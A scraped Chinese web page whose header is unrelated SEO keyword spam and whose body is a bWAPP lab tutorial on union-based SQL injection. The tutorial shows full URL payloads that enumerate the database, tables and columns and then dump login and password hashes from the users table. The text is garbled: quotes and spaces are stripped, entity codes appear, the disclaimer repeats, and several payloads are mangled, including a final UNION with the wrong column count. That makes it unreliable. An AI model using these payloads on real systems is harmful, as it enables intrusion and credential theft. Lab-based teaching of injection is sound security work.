wdcp 防盗链 网站不能打开泰安人才招聘信息网

wdcp 防盗链 网站不能打开,泰安人才招聘信息网,做调查问卷能挣钱的网站,网络平台建设费用重要声明 SQL注入实验仅可在自己搭建的合法测试环境#xff08;如本地虚拟机、授权的测试服务器#xff09;中进行#xff0c;严禁对任何非授权系统实施测试#xff0c;否则可能违反《网络安全法》等法律法规#xff0c;需承担相应法律责任。 一、实验环境 操作系统如本地虚拟机、授权的测试服务器中进行严禁对任何非授权系统实施测试否则可能违反《网络安全法》等法律法规需承担相应法律责任。一、实验环境操作系统Linux、Windows10,平台天枢一体化虚拟仿真平台1、bwapp环境准备环境部署平台已完成部署环境访问浏览器输入http://192.168.0.100点击“Login”进入登录页默认账号密码bee/bug安全级别设置登录后点击顶部“Security Level”选择“Low”关闭基础防护便于注入测试点击“Apply”保存场景定位点击顶部“Buggy Apps”在下拉菜单中根据场景类型选择对应模块即可进入目标测试页面。1 使用前需要配置键盘(2)IP配置用户名bee,密码bugsudo ip addr add 192.168.1.100/24 dev 网卡名二、SQL注入常见场景分类及核心特征bwapp环境适配SQL注入按请求方式、应用场景可分为6类核心原理均为“用户输入未过滤直接拼接SQL”但注入点位置、参数传递方式存在差异。1、SQL Injection (GET/Search)GET请求搜索类注入bwapp场景定位Buggy Apps SQL Injection SQL Injection - Search (GET)实验步骤正常业务验证进入测试页面在搜索框输入Man点击“Search”页面显示包含“Man”的用户信息正常响应1步骤1判断注入点类型及存在性在搜索框输入man添加单引号点击“Search”页面显示MySQL语法错误如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near bee at line 1说明存在字符型注入注释符验证输入man --注意--后加空格点击“Search”页面无语法错误且正常显示结果确认注入点有效2步骤2判断查询的字段数① 判断列数输入Manorder by1---点击“Search”页面正常显示依次输入至此说明查询结果为7列② 利用MySQL自带的information_schema库提取当前数据库名、版本、用户等信息目标信息构造URL示例当前数据库名http://192.168.0.100/bwapp/sqli_1.php?titlemanunionselect1,database(),34,5,6,7---MySQL版本http://192.168.0.100/bwapp/sqli_1.php?titlemanunionselect1,version(),34,5,6,7---数据库用户http://192.168.0.100/bwapp/sqli_1.php?titlemanunionselect1,user(),34,5,6,7---数据存储目录http://192.168.0.100/bwapp/sqli_1.php?titlemanunionselect1,datadir,3,4,5,6,7---示例结果当前数据库名是bwappMySQL版本为5.0.96用户为rootlocalhost。数据存储目录3步骤3获取数据库中的表名提取bwapp数据库下的所有表名重点关注users表存储账号密码http://192.168.0.100/bwapp/sqli_1.php?titleman UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schemadatabase()-- -页面会列出表名users、movies、blogs、guestbook等核心目标users。4步骤4获取users表的列名提取users表的所有列名如账号、密码、邮箱等http://192.168.0.100/bwapp/sqli_1.php?titleman UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers -- -页面会显示列名id、username、password、email、admin等。5步骤5提取users表的账号密码数据最终目标获取用户凭证构造URL如下因本次用户名在login列http://192.168.0.100/bwapp/sqli_1.php?titleman UNION SELECT 1,login,password FROM users -- -页面会显示解密MD5值bee→bug与BWAPP默认密码一致。6步骤6验证结果用提取到的bee→bug登录BWAPP验证账号密码的有效性。